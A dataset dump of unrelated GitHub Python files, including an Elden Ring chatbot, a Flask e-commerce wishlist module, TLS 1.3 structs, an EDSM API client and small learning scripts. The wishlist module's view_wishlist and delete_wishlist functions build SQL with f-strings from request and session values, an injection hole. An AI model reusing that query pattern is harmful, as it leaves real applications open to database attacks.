'w', newline='') as csvfile:\n fieldnames = ['Name', 'Class', 'Level']\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n writer.writeheader()\n for name, info in data.items():\n row = {'Name': name, 'Class': info[0][0], 'Level': info[0][1]}\n writer.writerow(row)\n\n print(f\"{username}'s level has been updated to {newlevel} in the CSV file\")\n\n\ndef handle_who_is_boss_intent(response_dict):\n \"\"\"\n Function to create a follow up question if the user doesnt' give use the\n needed information\n \"\"\"\n if response_dict['fulfillment_text'] != 'Which boss would you like to learn about?':\n boss_name = response_dict['fulfillment_text']\n print('EldenBot: ' + get_boss_info(boss_name))\n else:\n print('EldenBot: ' + response_dict['fulfillment_text'])\n\n\ndef handle_what_is_item_intent(response_dict):\n \"\"\"\n Function to create a follow up question if the user doesnt' give use the\n needed information\n \"\"\"\n if response_dict['fulfillment_text'] != 'Which item would you like to learn about?':\n item_name = response_dict['fulfillment_text']\n print('EldenBot: ' + get_item_info(item_name))\n else:\n print('EldenBot: ' + response_dict['fulfillment_text'])\n\n\ndef handle_compare_classes_intent(response_dict):\n \"\"\"\n Function to create a follow up question if the user doesnt' give use the\n needed information\n \"\"\"\n if response_dict['fulfillment_text'] != 'Which classes would you like to compare?':\n tokens = response_dict['fulfillment_text'].split()\n class1 = tokens[0]\n class2 = tokens[2]\n print('EldenBot: ' + get_class_comparison(class1, class2))\n else:\n print('EldenBot: ' + response_dict['fulfillment_text'])\n \n\nif os.path.exists(CONVERSATION_LOG):\n # If the file exists, open it in write mode to delete everything in it\n with open(CONVERSATION_LOG, \"w\") as f:\n pass # Pass is a placeholder that does nothing\n\n'''\n Here we gather information about the user to check if they are on\n the database and if not we add them to the database so we can \n keep track of their data\n'''\ncurrent_database = initialize_database(DATABASE_PATH)\n\nprint('EldenBot: Hi I\\'m EldenBot! I am ready to assist you with the game of Elden Ring')\nprint('EldenBot: Before we start, what is your name?')\ntext = input('You: ')\nusername = extract_name(text)\nprint('username: ', username)\nuserclass = \"\"\nuserlevel = \"\"\nif username in current_database:\n print(\"Welcome back \" + username)\n print(\"Here are your stats: \")\n username, userclass, userlevel = get_stats_from_csv(username)\nelse:\n regex = r\"^Awesome, you are (\\w+), your level is (\\d+) and you play as a (\\w+)$\"\n response_dict = get_response(project_id, session_id, text)\n response_text = response_dict['fulfillment_text']\n print('EldenBot: ' + response_text)\n while userlevel == \"\" and userclass == \"\":\n text = input('You: ')\n response_dict = get_response(project_id, session_id, text)\n response_text = response_dict['fulfillment_text']\n if re.match(regex, response_text):\n username, userlevel, userclass = extract_user_info(response_text)\n add_user_to_database('user_database.csv', username, userlevel, userclass)\n print('EldenBot: ' + response_text)\n\n'''\n ChatBot Conversation begins here\n the user may ask any questions\n'''\nprint(\"What can I do for you today?\")\nwhile True:\n text = input('You: ')\n if text.upper() == 'STOP':\n print('EldenBot: Goodbye!')\n break\n append_to_log(text, CONVERSATION_LOG)\n\n response_dict = get_response(project_id, session_id, text) # The response from the bot is held here\n '''\n Maps functions to intent \n For example: If the user asks about weapons, we call get_weapon_help() \n which will create a text response EldenBot can print to the console\n '''\n intent_functions = {\n 'Who is boss?': lambda: handle_who_is_boss_intent(response_dict),\n 'What is item?': lambda: handle_what_is_item_intent(response_dict),\n 'class info': lambda: print('EldenBot: ' + get_class_info(response_dict['fulfillment_text'])),\n 'compare classes': lambda: handle_compare_classes_intent(response_dict),\n 'build help': lambda: print(\n 'EldenBot: Since you are playing as a ' + userclass + ' considering focusing on the following:\\n ' +\n get_build_help(userclass)),\n 'stat help': lambda: print('EldenBot: ' + get_stats_help(userclass)),\n 'Weapon help': lambda: print('EldenBot: ' + get_weapon_help(userclass)),\n 'lvl recommendations': lambda: print('EldenBot: ' + get_lvl_recommendations(userlevel)),\n 'update level': lambda: update_level(response_dict['fulfillment_text'], username)\n }\n\n '''\n Based on Dialog flow response we find what the intent of the user is\n and we call the intent function needed. If the intent isn't found\n we reply with a generic response\n '''\n intent_name = response_dict['intent'].display_name\n if intent_name in intent_functions:\n intent_functions[intent_name]()\n else:\n response_text = response_dict['fulfillment_text']\n print('EldenBot: ' + response_text)\nprint(top_tfidf_words(CONVERSATION_LOG))","repo_name":"Tarzerk/NLP-Portfolio","sub_path":"09 - Chatbot/eldenbot.py","file_name":"eldenbot.py","file_ext":"py","file_size_in_byte":11754,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"30585689265","text":"from flask import Blueprint,render_template,request,Flask,session,redirect,url_for\nimport pandas as pd\nfrom datetime import datetime\nfrom openpyxl import load_workbook\nfrom flask_mysqldb import MySQL\nimport MySQLdb.cursors\n\n\nwishlist_blueprint= Blueprint('wishlist_blueprint', __name__)\napp = Flask(__name__)\nmysql = MySQL(app)\n\n# @wishlist_blueprint.route('/addproduct_wishlist', methods=['GET','POST'])\n# def addproduct_wishlist():\n# if request.method == \"POST\":\n# data = request.json\n# if data and \"user_id\" in data and \"product_id\" in data:\n# user_id = data[\"user_id\"]\n# product_id = data[\"product_id\"]\n# cursor = mysql.connection.cursor(MySQLdb.cursors.DictCursor)\n# cursor.execute(\n# \"SELECT * FROM user WHERE user_id = %s\",\n# (user_id,),\n# )\n# account = cursor.fetchone()\n# if not account:\n# return {\n# \"status\": \"FAILURE\",\n# \"message\": \"user_id does not exists\",\n# \"data\": \"\",\n# \"traceback\": \"\",\n# }\n# cursor = mysql.connection.cursor(MySQLdb.cursors.DictCursor)\n# cursor.execute(\n# \"SELECT * FROM product WHERE product_id = %s\",\n# (product_id,),\n# )\n# account = cursor.fetchone()\n# if not account:\n# return {\n# \"status\": \"FAILURE\",\n# \"message\": \" product_id does not exists\",\n# \"data\": \"\",\n# \"traceback\": \"\",\n# }\n# cursor = mysql.connection.cursor(MySQLdb.cursors.DictCursor)\n# cursor.execute(\n# \"SELECT * FROM wishlist WHERE user_id = %s AND product_id=%s\",\n# (user_id, product_id),\n# )\n# account = cursor.fetchone()\n# if account:\n# return {\n# \"status\": \"FAILURE\",\n# \"message\": \"user_id and product_id combination already exists\",\n# \"data\": \"\",\n# \"traceback\": \"\",\n# }\n\n# else:\n# cursor.execute(\n# \"INSERT INTO wishlist(user_id,product_id) VALUES (%s,%s)\",\n# (user_id, product_id),\n# )\n# mysql.connection.commit()\n# return {\n# \"status\": \"SUCESS\",\n# \"message\": \"SUCESSFULLY added to wishlist\",\n# \"data\": \"\",\n# \"traceback\": \"\",\n# }\n# return \"\"\n \n \n \n \n@wishlist_blueprint.route(\"/addproduct_wishlist/\", methods=[\"GET\"])\ndef addproduct_wishlist(product_id):\n if \"logged_in\" not in session or not session[\"logged_in\"] or \"usertype\" not in session or session['usertype']!='user':\n print(session)\n return redirect(url_for(\"login_blueprint.login\"))\n else:\n if product_id:\n user_id = session[\"user_id\"]\n cursor = mysql.connection.cursor(MySQLdb.cursors.DictCursor)\n cursor.execute(\n \"SELECT * FROM wishlist WHERE user_id = %s AND product_id=%s\",\n (user_id, product_id),\n )\n account = cursor.fetchone()\n if account:\n message = \"product already exists in your wishlist\"\n alert_class = \"warning\"\n else:\n cursor.execute(\n \"INSERT INTO wishlist (user_id,product_id) VALUES (%s,%s)\",\n (user_id, product_id),\n )\n mysql.connection.commit()\n message = \"product successfully added to wishlist\"\n alert_class = \"success\"\n cursor.close()\n return redirect(\n url_for(\n \"wishlist_blueprint.view_wishlist\", message=message, alert_class=alert_class\n )\n )\n return redirect(url_for(\"wishlist_blueprint.view_wishlist\",message=message, alert_class=alert_class))\n \n \n@wishlist_blueprint.route(\"/view_wishlist\", methods=[\"GET\"])\ndef view_wishlist():\n if \"logged_in\" not in session or not session[\"logged_in\"] or \"usertype\" not in session or session['usertype']!='user':\n return redirect(\"login\")\n else:\n user_id = session[\"user_id\"]\n message = request.args.get(\"message\",'')\n alert_class=request.args.get('alert_class')\n cursor = mysql.connection.cursor(MySQLdb.cursors.DictCursor)\n cursor.execute(\n f\"SELECT w.*,p.image,p.name,p.amount FROM wishlist AS w JOIN product as p ON p.product_id=w.product_id WHERE w.user_id={user_id}\"\n )\n wishlist_items = cursor.fetchall()\n cursor.close()\n # print(cart_items)\n # print(user_id)\n\n return render_template(\n \"wishlist.html\",message=message,alert_class=alert_class,\n wishlist_items=wishlist_items,\n )\n \n \n@wishlist_blueprint.route(\"/delete_wishlist\", methods=[\"POST\"])\ndef delete_wishlist():\n if \"logged_in\" not in session or not session[\"logged_in\"] or \"usertype\" not in session or session['usertype']!='user':\n return redirect(\"login\")\n else:\n user_id = session[\"user_id\"]\n product_id = request.form.get(\"product_id\")\n cursor = mysql.connection.cursor(MySQLdb.cursors.DictCursor)\n cursor.execute(\n f\" DELETE FROM wishlist WHERE user_id={user_id} AND product_id={product_id}\"\n )\n mysql.connection.commit()\n cursor.close()\n message=\"Product successfully removed from your wishlist\"\n alert_class='success'\n return redirect(url_for(\"wishlist_blueprint.view_wishlist\",message=message, alert_class=alert_class))\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n # if request.method=='POST':\n # details=pd.read_excel('open_ecommerce.xlsx',sheet_name='wishlist')\n # user_id=request.get_json()['user_id']\n # product_id=request.get_json()['product_id']\n \n # user_data=pd.read_excel('open_ecommerce.xlsx',sheet_name='user_data')\n # if user_id not in user_data.index:\n # return {\n # 'status':'failure',\n # 'message':'Invalid userid',\n # 'data': {},\n # 'traceback':''\n # }\n # product_data=pd.read_excel('open_ecommerce.xlsx',sheet_name='products')\n # if product_id not in product_data.index:\n # return {\n # 'status':'failure',\n # 'message':'Invalid Productid',\n # 'data': {},\n # 'traceback':''\n # }\n \n # wishlist_data=pd.read_excel('open_ecommerce.xlsx',sheet_name='wishlist')\n # if ((details['user_id']==user_id) & (details['product_id']==product_id)).any():\n # return {'status':'failure','message':'The given Userid and Productid combination already exists','data':'','traceback':''}\n\n # wb=load_workbook('open_ecommerce.xlsx')\n # ws=wb['wishlist']\n # wishlist_id_values=[int(row[0]) for row in ws.iter_rows(min_row=2,values_only=True)]\n # if wishlist_id_values:\n # wishlist_id=max(wishlist_id_values) + 1\n # else:\n # wishlist_id=1\n # ws.append([wishlist_id,user_id,product_id])\n # wb.save('open_ecommerce.xlsx')\n \n # return {\n # 'status':'sucess',\n # 'message':'Product has been added to the wishlist successfully',\n # 'data': {'wishlist_id':int(wishlist_id)},\n # 'traceback':''\n # }\n # return render_template('wishlist.html')","repo_name":"raparthydivya/ecomm","sub_path":"wishlist_blueprint.py","file_name":"wishlist_blueprint.py","file_ext":"py","file_size_in_byte":7995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18905679584","text":"from typing import List, NoReturn, Tuple, Union\n\nBOOLEAN_FORMAT_SYMBOL = \"#\"\nBOOL_VALUE = Union[int, bool]\nVALID_BIT_ORDERS = [\"MSB\", \"LSB\"]\nBIT_ORDER = \"MSB\"\n\n\ndef validate_bit_order(bit_order) -> NoReturn:\n \"\"\"Validate bit order parameter.\"\"\"\n if bit_order not in VALID_BIT_ORDERS:\n raise AttributeError(f\"except `LSB` or `MSB` bit order, got `{bit_order}`\")\n\n\ndef byte_to_booleans(bytes_: bytes, bit_order: str = BIT_ORDER) -> List[List[bool]]:\n \"\"\"\n Convert byte to list of booleans.\n\n :param bytes_: bytes convert to lists\n :param bit_order: bit order in one byte, `LSB` or `MSB` [LSB]\n :return: tuple with list of boolean\n \"\"\"\n validate_bit_order(bit_order)\n order_range = range(7, -1, -1) if bit_order == BIT_ORDER else range(8)\n # unpacked byte to bits\n return [[bool(1 << i & byte) for i in order_range] for byte in bytes_]\n\n\ndef boolean_to_byte(\n booleans: Union[List[List[BOOL_VALUE]], Tuple[List[BOOL_VALUE]], List[BOOL_VALUE]],\n bit_order: str = BIT_ORDER,\n) -> bytes:\n \"\"\"\n Convert list of bool or int (0 or 1) values to bytes. Length of list must be at least 8.\n\n :param booleans: list of bool or int value\n :param bit_order: bit order in one byte, `LSB` or `MSB` [LSB]\n :return: one byte\n \"\"\"\n validate_bit_order(bit_order)\n\n result = bytes() # create empty result\n booleans = booleans if isinstance(booleans[0], (list, tuple)) else [booleans] # convert to list of booleans\n # iter throw list og booleans\n for boolean_list in booleans:\n if len(boolean_list) > 8:\n raise TypeError(\"function to_byte expected list with max len of 8\")\n\n boolean_list = list(boolean_list) + [0] * (8 - len(boolean_list)) # convert to 8 bit if it's not\n boolean_list = boolean_list[::-1] if bit_order == BIT_ORDER else boolean_list # apply bit order\n result += sum(b << i for i, b in enumerate(boolean_list)).to_bytes(1, \"little\")\n\n return result\n","repo_name":"Cognexa/plcx","sub_path":"plcx/utils/boolean.py","file_name":"boolean.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"9511962959","text":"import pandas as pd\n\n# Read in the data from the text file using the full pathway\n# Use the pokemon name as the index\n\npokemon_df = pd.read_csv('data/pokemon-text.txt',\n index_col=0, \n delimiter=\";\")\n\n# Display the first 10 rows\n\npokemon_df.head(10)\n","repo_name":"ali4413/Ali-Mehrabifard","sub_path":"exercises/solution_02_04.py","file_name":"solution_02_04.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26860725214","text":"\"\"\" Import and export commands for assets.\n\n\"\"\"\n\nimport os\nimport logging\n\nfrom m2u import core\nfrom m2u import pipeline\nfrom . import connection\n\n_lg = logging.getLogger(__name__)\n\n\ndef fetch_selected_objects():\n \"\"\" Fast-fetch all selected actors by exporting them into an\n FBX-File and importing that file into the Program.\n Only one file containing all objects is created.\n This should not be used for creating reusable assets!\n\n \"\"\"\n path = pipeline.get_temp_folder()\n path = os.path.join(path, \"m2uTempExport.fbx\")\n\n msg = (\"FetchSelected \\\"\"+path+\"\\\"\")\n result = connection.send_message(msg)\n core.program.import_file(path)\n\n\ndef import_assets_batch(rel_file_path_list):\n \"\"\" Import all the asset files in the list the files paths have to\n be relative to the current project's content_root.\n\n This function will create a matching destination path for each\n file path.\n\n \"\"\"\n if len(rel_file_path_list) < 1:\n return\n\n msg = 'ImportAssetsBatch'\n content_root = pipeline.get_project_export_dir()\n for path in rel_file_path_list:\n if not path.startswith(\"/\") and len(path) > 0:\n path = \"/\"+path\n\n filepath = content_root + path\n directory = os.path.dirname(path)\n # The import destination has to be without the asset-name.\n # It will be auto-generated from the file-name by UE4.\n\n asset_path = \"/Game\" + directory.replace(\"\\\\\", \"/\")\n asset_path = asset_path.replace(\"//\", \"/\")\n if asset_path.endswith(\"/\"):\n asset_path = asset_path[:-1]\n\n msg = msg + ' \"' + asset_path + '\" \"' + filepath + '\"'\n result = connection.send_message(msg)\n","repo_name":"m2u/m2u","sub_path":"ue4/assets.py","file_name":"assets.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"72"} +{"seq_id":"12448404530","text":"# -*- coding: UTF-8 -*-\nfrom .messages import Extension\nfrom .signature import SignatureScheme\nfrom ...utilization.bytestream import Reader\nfrom ...utilization.type import Uint8, Uint16, Uint24, Type\nfrom ...utilization.struct import Struct, Members, Member, Listof\n\n__all__ = [\n 'CertificateType', 'CertificateEntry', 'Certificate',\n 'CertificateVerify', 'Finished', 'Hash',\n]\n\n\n@Type.add_labels_and_values\nclass CertificateType(Type):\n # 证书类型\n \"\"\"\n enum {\n X509(0),\n RawPublicKey(2),\n (255)\n } CertificateType;\n \"\"\"\n X509 = Uint8(0)\n OpenPGP_RESERVED = Uint8(1)\n RawPublicKey = Uint8(2)\n _size = 1\n\n\nclass CertificateEntry(Struct):\n # 证书内容\n \"\"\"\n struct {\n select (certificate_type) {\n case RawPublicKey:\n /* From RFC 7250 ASN.1_subjectPublicKeyInfo */\n opaque ASN1_subjectPublicKeyInfo<1..2^24-1>;\n case X509:\n opaque cert_data<1..2^24-1>;\n };\n Extension extensions<0..2^16-1>;\n } CertificateEntry;\n \"\"\"\n def __init__(self, **kwargs):\n self.struct = Members(self, [\n Member(bytes, 'cert_data', length_t=Uint24),\n Member(Listof(Extension), 'extensions', length_t=Uint16),\n ])\n self.struct.set_args(**kwargs)\n\n @classmethod\n def get_types_from_bytes(cls, data=b'', reader=None):\n is_given_reader = bool(reader)\n if not is_given_reader:\n reader = Reader(data)\n\n cert_data = reader.get(bytes, length_t=Uint24)\n extensions = reader.get(bytes, length_t=Uint16)\n\n # 输入扩展名的扩展名是status_request或signed_certificate_timestamp\n # 粘贴extensions字节的字节很麻烦而且不太重要,所以我会推迟它\n obj = cls(cert_data=cert_data, extensions=[])\n\n if is_given_reader:\n return (obj, reader)\n return obj\n\n\nclass Certificate(Struct):\n # 发送证书\n \"\"\"\n struct {\n opaque certificate_request_context<0..2^8-1>;\n CertificateEntry certificate_list<0..2^24-1>;\n } Certificate;\n \"\"\"\n def __init__(self, **kwargs):\n self.struct = Members(self, [\n Member(bytes, 'certificate_request_context', length_t=Uint8),\n Member(Listof(CertificateEntry), 'certificate_list', length_t=Uint24),\n ])\n self.struct.set_default('certificate_request_context', b'')\n self.struct.set_args(**kwargs)\n\n @classmethod\n def get_types_from_bytes(cls, data):\n reader = Reader(data)\n certificate_request_context = reader.get(bytes, length_t=Uint8)\n certificate_list_bytes = reader.get(bytes, length_t=Uint24)\n certificate_list = []\n\n reader = Reader(certificate_list_bytes)\n while reader.get_rest_length() > 0:\n entry, reader = CertificateEntry.get_types_from_bytes(reader=reader)\n certificate_list.append(entry)\n\n return cls(certificate_request_context=certificate_request_context,\n certificate_list=certificate_list)\n\n\nclass CertificateVerify(Struct):\n # 发送证书签名\n \"\"\"\n struct {\n SignatureScheme algorithm;\n opaque signature<0..2^16-1>;\n } CertificateVerify;\n \"\"\"\n def __init__(self, **kwargs):\n self.struct = Members(self, [\n Member(SignatureScheme, 'algorithm'),\n Member(bytes, 'signature', length_t=Uint16),\n ])\n self.struct.set_args(**kwargs)\n\n @classmethod\n def get_types_from_bytes(cls, data):\n reader = Reader(data)\n algorithm = reader.get(Uint16)\n signature = reader.get(bytes, length_t=Uint16)\n return cls(algorithm=algorithm, signature=signature)\n\n\nclass Hash(bytes):\n size = 32\n\n @classmethod\n def set_size(cls, size):\n cls.size = size\n\n\nclass Finished(Struct):\n # 发送完成TLS握手\n \"\"\"\n struct {\n opaque verify_data[Hash.length];\n } Finished;\n \"\"\"\n def __init__(self, **kwargs):\n self.struct = Members(self, [\n Member(Hash, 'verify_data'),\n ])\n self.struct.set_args(**kwargs)\n\n @classmethod\n def get_types_from_bytes(cls, data):\n reader = Reader(data)\n verify_data = reader.get(Hash)\n return cls(verify_data=verify_data)\n\n","repo_name":"hailongeric/TLS1.3","sub_path":"tls13/protocol/exchange_key/authentication.py","file_name":"authentication.py","file_ext":"py","file_size_in_byte":4301,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"14675525468","text":"import requests\nimport schedule\nimport pyperclip\nimport time\nimport json\nfrom configAndData import get_wingmankeydependingName\n\n# Envoyer son FSDtarget à EDSM\ndef send_comment_to_api(commander_name, api_key, system_name, comment):\n try:\n params = {\n \"commanderName\": commander_name,\n \"apiKey\": api_key,\n \"systemName\": system_name,\n \"comment\": comment\n }\n\n url = \"https://www.edsm.net/api-logs-v1/set-comment\"\n response = requests.get(url, params=params)\n\n # response JSON\n if response.status_code == 200:\n data = response.json()\n if data['msgnum'] == 100:\n print(\"Commentaire ajouté avec succès.\")\n else:\n print(f\"Erreur lors de l'ajout du commentaire : {data['msg']}\")\n else:\n print(f\"Erreur lors de la requête à l'API EDSM. Code de statut : {response.status_code}\")\n\n except Exception as e:\n print(f\"Une erreur s'est produite : {str(e)}\")\n\n# get le systeme actuel d'un wingman ppar EDSM\ndef get_wingman_current_StarSystem(wingman_commander_name, wingman_api_key):\n #try:\n params = {\n \"commanderName\": wingman_commander_name,\n \"apiKey\": wingman_api_key,\n }\n\n url = \"https://www.edsm.net/api-logs-v1/get-position\"\n response = requests.get(url, params=params)\n\n if response.status_code == 200:\n apiResponse = response.json()\n if apiResponse['msgnum'] == 100:\n wingman_current_StarSystem = apiResponse['system']\n print(wingman_commander_name+\" est sur \"+wingman_current_StarSystem)\n\n with open(\"config_and_data.json\", \"r+\") as json_file:\n data = json.load(json_file)\n key = get_wingmankeydependingName(wingman_commander_name)\n data[key][\"current_StarSystem\"] = wingman_current_StarSystem\n json_file.seek(0)\n json.dump(data, json_file, indent=4)\n json_file.truncate()\n\n else:\n print(f\"Erreur lors de la récupération du commentaire : {apiResponse['msg']}\")\n else:\n print(f\"Erreur lors de la requête à l'API EDSM. Code de statut : {response.status_code}\")\n\n #except Exception as e:\n # print(f\"Une erreur s'est produite : {str(e)}\")\n\n\n# get le FSDtarget du wingman 1 par l'API EDSM qui est un commentaire\ndef get_wingman_comment(wingman_commander_name, wingman_api_key):\n try:\n # recup de la position actuelle depuis le json\n\n with open(\"config_and_data.json\", \"r\") as json_file:\n data = json.load(json_file)\n key = get_wingmankeydependingName(wingman_commander_name)\n wingman_current_StarSystem = data[key][\"current_StarSystem\"]\n\n\n \n params = {\n \"commanderName\": wingman_commander_name,\n \"apiKey\": wingman_api_key,\n \"systemName\": wingman_current_StarSystem\n }\n\n \n url = \"https://www.edsm.net/api-logs-v1/get-comment\"\n response = requests.get(url, params=params)\n\n # response JSON\n if response.status_code == 200:\n apiResponse = response.json()\n if apiResponse['msgnum'] == 100:\n comment = apiResponse['comment']\n print(f\"Commentaire récupéré : {comment}\")\n\n with open(\"config_and_data.json\", \"r+\") as json_file:\n data = json.load(json_file)\n key = get_wingmankeydependingName(wingman_commander_name)\n data[key][\"FSDTarget\"] = comment\n json_file.seek(0)\n json.dump(data, json_file, indent=4)\n json_file.truncate()\n return comment\n \n elif apiResponse['msgnum'] == 101:\n comment = apiResponse['comment']\n print(\"pas de FSD TARGET trouvé pour ce système \")\n\n with open(\"config_and_data.json\", \"r+\") as json_file:\n data = json.load(json_file)\n key = get_wingmankeydependingName(wingman_commander_name)\n data[key][\"FSDTarget\"] = \"\"\n json_file.seek(0)\n json.dump(data, json_file, indent=4)\n json_file.truncate()\n return \"\" \n else:\n print(f\"Erreur lors de la récupération du commentaire : {data['msg']}\")\n else:\n print(f\"Erreur lors de la requête à l'API EDSM. Code de statut : {response.status_code}\")\n\n except Exception as e:\n print(f\"Une erreur s'est produite : {str(e)}\")\n\n\n","repo_name":"floriangagnard/Edsharefsdtarget","sub_path":"api_interaction.py","file_name":"api_interaction.py","file_ext":"py","file_size_in_byte":4880,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27825689997","text":"import numpy as np\n\nnp.random.seed( 1 )\n\ndef relu( x ):\n return ( x > 0 ) * x\n\ndef relu2deriv( output ):\n return output > 0\n\nstreetlights = np.array( [[ 1, 0, 1 ],\n [ 0, 1, 1 ],\n [ 0, 0, 1 ],\n [ 1, 1, 1]] )\n\nwalk_vs_stop = np.array( [[ 1, 1, 0, 0 ]] ).T\n\nalpha = 0.2\nhidden_size = 4\n\nweights_0_1 = 2*np.random.random( ( 3, hidden_size ) ) - 1\nweights_1_2 = 2*np.random.random( ( hidden_size, 1 ) ) - 1\n\nfor i in range( 60 ):\n layer_2_error = 0\n for j in range( len( streetlights ) ):\n layer_0 = streetlights[ j:j+1 ]\n layer_1 = relu( np.dot( layer_0, weights_0_1 ) )\n layer_2 = np.dot( layer_1, weights_1_2 )\n\n layer_2_error += np.sum( ( layer_2 - walk_vs_stop[ j:j+1 ] ) ** 2 )\n\n layer_2_delta = ( layer_2 - walk_vs_stop[ j:j+1 ] ) \n layer_1_delta = layer_2_delta.dot( weights_1_2.T) * relu2deriv( layer_1 )\n\n\n weights_1_2 -= alpha * layer_1.T.dot( layer_2_delta )\n weights_0_1 -= alpha * layer_0.T.dot( layer_1_delta )\n\n if ( i % 10 == 9 ):\n print( f\"Error: { layer_2_error }\" )\n","repo_name":"ValenYamamoto/neural_nets","sub_path":"grokking/backprop.py","file_name":"backprop.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"11837094046","text":"import functools\nimport sys\n\n#Program untuk mengkalkulasi cicilan dan mencari ongkos kirim paling minimum\n\nclass Node():\n def __init__(self, state, parent, action, distanceFromStart, distanceFromGoal):\n self.state = state\n self.parent = parent\n self.action = action\n self.distanceFromStart = distanceFromStart #g(n)\n self.distanceFromGoal = distanceFromGoal #h(n)\n self.calculatedDistance = self.distanceFromStart + self.distanceFromGoal\n\n#A*ImplementationGoesHere\nclass AStarFrontier():\n def __init__(self):\n self.frontier = []\n \n def add(self, node):\n self.frontier.append(node)\n \n #state represented as transferred money (int)\n def contains_state(self, state):\n return any(node.state == state for node in self.frontier)\n \n def empty(self):\n return len(self.frontier) == 0\n \n def remove(self):\n if self.empty():\n raise Exception(\"frontier kosong\")\n else: #perbandingan g(n) + h(n) goes here\n chosen = functools.reduce(lambda a,b: a if a.calculatedDistance < b.calculatedDistance else b, self.frontier)\n\n for idx, node in enumerate(self.frontier):\n if node == chosen:\n return self.frontier.pop(idx)\n\nclass problem():\n def __init__(self):\n print(\"=========== Program Minimal Biaya Transfer ==========\")\n self.startingPoint = int(input(\"Masukkan biaya awal/biaya yang sudah dibayarkan (tanpa titik):Rp. \"))\n self.goal = int(input(\"Masukkan harga yang akan dicicil (tanpa titik):Rp. \"))\n self.transferCost = int(input(\"Masukkan ongkos untuk sekali kirim:Rp. \"))\n print()\n\n self.actionCandidates = set()\n\n while(True):\n action = input(\"Masukkan nominal transaksi yang disanggupi (tekan enter untuk menyudahi): Rp.\")\n\n if action == \"\":\n print(\"input disudahi.\")\n break\n elif int(action) < 0:\n print(\"nilai cicilan invalid\")\n elif int(action) >= self.goal:\n print(\"kenapa tidak bayar langsung tunai?\")\n else:\n self.actionCandidates.add( int(action) )\n \n def neighbors(self, state): # state == transferred(int)\n candidate = []\n for action in self.actionCandidates:\n newAction = f\"Rp.{action},00\"\n newState = state + action\n candidate.append((newAction, newState))\n \n return candidate\n\n def solve(self):\n self.num_explored = 0\n self.exploredState = set()\n\n startNode = Node(self.startingPoint, None, None, 0, self.goal - self.startingPoint)\n frontier = AStarFrontier()\n frontier.add(startNode)\n\n while True:\n\n if frontier.empty():\n raise Exception(\"no solution\")\n\n currentNode = frontier.remove()\n self.num_explored += 1\n \n if currentNode.state >= self.goal:\n excess = currentNode.state - self.goal\n actionsToGoal = []\n stateToGoal = []\n charges = []\n\n while currentNode.parent is not None:\n actionsToGoal.append(currentNode.action)\n stateToGoal.append(currentNode.state)\n charges.append(currentNode.distanceFromStart)\n currentNode = currentNode.parent\n \n actionsToGoal.reverse()\n stateToGoal.reverse()\n charges.reverse()\n self.solution = (actionsToGoal, stateToGoal, charges, excess if excess > 0 else 0)\n return\n \n self.exploredState.add(currentNode.state)\n\n for action, state in self.neighbors(currentNode.state):\n if not frontier.contains_state(state) and state not in self.exploredState:\n child = Node(state, currentNode, action, currentNode.distanceFromStart + self.transferCost, self.goal - state)\n frontier.add(child)\n \n def conclusions(self, detailedMode=False):\n actions, states, charges, excess = self.solution\n if detailedMode:\n print()\n print(\"advanced mode on...\")\n\n for i, action in enumerate(actions):\n print(f\"{i}.[+{action}, paid={states[i]}, charges={charges[i]}]\")\n\n print(f\"explored state = {self.num_explored}\")\n print(\"advanced mode end...\")\n print()\n\n print(\"Berikut kesimpulan kami untuk meminimalisir ongkos kirim:\")\n print(f\"anda bisa mengambil cicilan {len(actions)} kali ({actions[0]}/transaksi)\")\n print(f\"dengan total ongkos kirim = Rp.{charges[-1]},00\")\n if excess > 0:\n print(f\"kembalian di transaksi terakhir: Rp.{excess},00\")\n\n\np = problem()\np.solve()\nflag = False\nif len(sys.argv) > 1:\n flag = \"-a\" in sys.argv\np.conclusions(flag)\n\n \n","repo_name":"nwxxb/transferFeeCounter","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":4976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"31243480346","text":"VIDEOS = dict()\n\n\nclass Video:\n def __init__(self, filename, stream_v, stream_a,\n width, height, fps, duration):\n self.filename = filename\n self.stream_v = stream_v\n self.stream_a = stream_a\n self.width = width\n self.height = height\n self.fps = fps\n self.duration = duration\n","repo_name":"Titankrot/Console-videoredactor","sub_path":"files/videos.py","file_name":"videos.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30188736818","text":"from rest_framework.views import APIView\nfrom users.models import User\nfrom rest_framework.response import Response\nfrom .models import Ingredient, Recipe, Rating, Rate\nfrom .user_detection import user_detection\nfrom .list_recipes import list_recipes\nfrom rest_framework.exceptions import AuthenticationFailed, ParseError\nfrom django.db.models import Q, Count\nimport operator\nfrom functools import reduce\n\n\nclass CreateRecipeView(APIView):\n def post(self, request):\n try:\n recipe_name = request.data['recipe_name']\n recipe_text = request.data['recipe_text']\n ingredients_list = request.data['ingredients_list']\n except:\n raise ParseError('You should provide: recipe_name, recipe_text and ingredients_list!')\n\n if not isinstance(recipe_name, str) == isinstance(recipe_text, str) == isinstance(ingredients_list, list) == True or not all(isinstance(ing, str) for ing in ingredients_list):\n raise ParseError('Make sure that: recipe_name (type=str), recipe_text (type=str) and ingredients_list (type=list(str))!')\n\n user = 